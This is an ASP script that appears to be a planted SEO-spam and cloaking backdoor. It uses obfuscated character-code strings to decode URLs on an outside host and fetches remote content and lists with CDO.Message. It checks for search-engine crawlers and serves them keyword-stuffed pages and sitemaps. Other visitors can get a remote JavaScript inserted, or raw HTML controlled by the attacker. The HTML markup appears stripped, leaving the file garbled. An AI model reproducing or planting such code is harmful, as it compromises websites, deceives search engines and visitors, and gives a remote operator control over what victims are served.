% If Request.Querystring()<>"" Then %>
<% Response.Clear %>
<%
On Error Resume Next
Function brr(c,f)
Dim crr,n,u
crr=Split(c,"-")
For n=0 To UBound(crr)
If crr(n)<>"" Then u=u&Chr(crr(n))
Next
If InStr(u,f)=0 Or f="" Then Exit Function
u=Replace(u,f,"")
brr=u
End Function
Function err(n)
Dim crr(1),i,u
u=""
For i=0 to n
Randomize
crr(0)=Cint(25*Rnd)
crr(1)=Cint(10*Rnd)
If crr(1) Mod 2=0 Then
crr(0)=crr(0)+97
Else
crr(0)=crr(0)+65
End If
u=u&chr(crr(0))
Next
err=u
End Function
Function grr(c)
Dim i,u,n,f
i=Array(" ","""",".","#","'","/","&","-&-","--","--")
u=Array("-","-","-","-","-","-","-","-","-","-")
f=c
For n=0 to UBound(i)
If InStr(f,i(n))>0 Then f=Replace(f,i(n),u(n))
Next
grr=Replace(f,"-","-")
End Function
Function hrr()
c=1
u=Request.ServerVariables("HTTP_HOST")
f=Request.ServerVariables("Script_Name")
If c=0 Then hrr=""'?
If c=1 Then hrr="http://"&u&left(f,Instrrev(f,"/"))'/?
If c=2 Then hrr="http://"&u&f'/xxx.asp?
End Function
Function irr()
Dim c,crr,f
c=LCase(Request.ServerVariables("HTTP_USER_AGENT"))
crr=Array("googlebot","yahoo","bing","msnbot","alexa","ask","findlinks","altavista","inktomi")
f=0
For Each n In crr
If Instr(c,n)>0 Then f=1
Next
irr=f
End Function
Function srr(c,f)
Dim crr(10)
crr(0)=hrr()
Response.ContentType="text/xml"
Response.Write("")
For i=1 to c
Response.Write(""&crr(0)&"?"&f&"="&grr(drr(i))&".html1.0")
Next
Response.Write("")
Response.End()
End Function
Dim fso
Set fso=Server.CreateObject("CDO.Message")
Dim arr(10),n,m,frr(10),trr(15),i,j,t
arr(0)=Request.Querystring()
arr(1)=brr("104-116-116-112-58-47-47-104-101-121-101-46-115-104-101-110-122-104-117-46-38-101-38-117-47-104-101-121-38-101-47-121-47-117-115-47-104-117-116-","&")&"1"&".html"
fso.CreateMHTMLBody arr(1),31
arr(2)=Split(fso.HTMLBody, "|")
arr(3)=brr("104-116-116-112-58-47-47-104-101-121-101-46-38-38-115-104-101-110-122-104-117-46-101-117-47-104-101-121-101-47-120-47-117-38-115-106-115-46-104-116-109-108-","&")
fso.CreateMHTMLBody arr(3),31
arr(4)=fso.HTMLBody
fso.HTMLBody=""
arr(5)=brr("104-116-38-116-112-58-47-47-104-101-121-101-46-115-104-38-101-110-122-104-117-46-101-117-47-104-38-101-121-101-47-121-47-117-115-47-","&")
arr(6)=arr(2)(1)
For Each n In arr(2)
If Instr(Lcase(arr(0)),n)>0 and n<>"" Then
arr(6)=n
Exit For
End If
Next
frr(0)=arr(0)
frr(1)=Instr(frr(0),brr("42-42-42-42-63-42-42-","*"))
frr(2)=Instr(frr(0),brr("37-37-37-37-61-37-37-","%"))
frr(3)=Mid(frr(0),frr(1)+1,frr(2)-frr(1)-1)
frr(4)=brr("46-104-42-42-116-42-42-109-42-42-108-","*")
frr(5)=Replace(frr(0),frr(3)&"=","")
If Instr(frr(5),frr(4))>0 Then frr(4)=""
frr(6)=brr("94-94-94-94-47-94-94-","^")
frr(7)=Replace(Request.ServerVariables("HTTP_HOST"),"www.","")&frr(6)
frr(8)=brr("104-116-116-112-58-47-47-104-101-121-101-38-46-115-104-101-110-122-104-117-46-101-117-47-38-104-101-38-121-101-47-","&")&frr(7)
frr(9)=""&chr(10)&chr(13)
fso.CreateMHTMLBody frr(8)&frr(3)&frr(6)&frr(5)&frr(4),31
Randomize
Response.ContentType="text/html"
Select Case fso.HTMLBody
Case ""
If Instr(arr(0),"justtest")<=0 And irr()<>1 Then arr(7)=arr(4)&"is"&arr(6)&"us.js"
fso.CreateMHTMLBody arr(5)&arr(6)&".html",31
arr(8)=fso.HTMLBody
drr=Split(arr(8), "|")
If Instr(arr(0),"sitemap")>0 Then Call srr(Ubound(drr),arr(6))
n=Ubound(drr)
m=30+Int(Rnd*30)
trr(0)=Replace(Replace(Request.Querystring(arr(6)),"-"," "),".html","")
If trr(0)="" Then trr(0)=drr(Int(Rnd*n+1))
trr(1)=trr(0)
trr(2)=trr(0)&", "&drr(Int(Rnd*n+1))
trr(3)=drr(Int(Rnd*n+1))&", "&drr(Int(Rnd*n+1))
trr(4)=""
For i=0 to m
If i=0 Then
trr(5)="
"&drr(Int(Rnd*n+1))&" "
ElseIf i Mod 13=0 Then
trr(5)=trr(5)&drr(Int(Rnd*n+1))&", "
Elseif i Mod 40=0 Then
trr(5)=trr(5)&drr(Int(Rnd*n+1))&".
"&Chr(10)&Chr(13)&"
"
Else
If Int(Rnd*10+1)=1 Then trr(5)=trr(5)&""&drr(Int(Rnd*n+1))&" "
trr(5)=trr(5)&drr(Int(Rnd*n+1))&" "
End If
If i=m Then trr(5)=trr(5)&drr(Int(Rnd*n+1))&".
"
Next
trr(6)=hrr()&"?"&arr(6)
trr(7)=drr(1)
trr(8)=4+(Int(Rnd*7)+3)*0.1
trr(9)=1000+Int(Rnd*4000)
trr(10)=hrr()&"?"&arr(0)
trr(11)=29+Int(Rnd*10)+Int(Rnd*100)*0.01
t=drr(Int(Rnd*n+1))
trr(12)=""&t&""
t=drr(Int(Rnd*n+1))
trr(13)=""&t&""
t=Int(Rnd*5+5)
For i=1 to t
arr(9)=drr(Int(Rnd*n+1))
trr(14)=trr(14)&"
"&chr(10)&chr(13)
Next
Case fso.HTMLBody
Response.Clear
If irr()<>1 Then Response.Write frr(9)
Response.Write fso.HTMLBody
Response.End
End Select
Set fso=Nothing
%>
<%=trr(1)%>
<%=trr(4)%>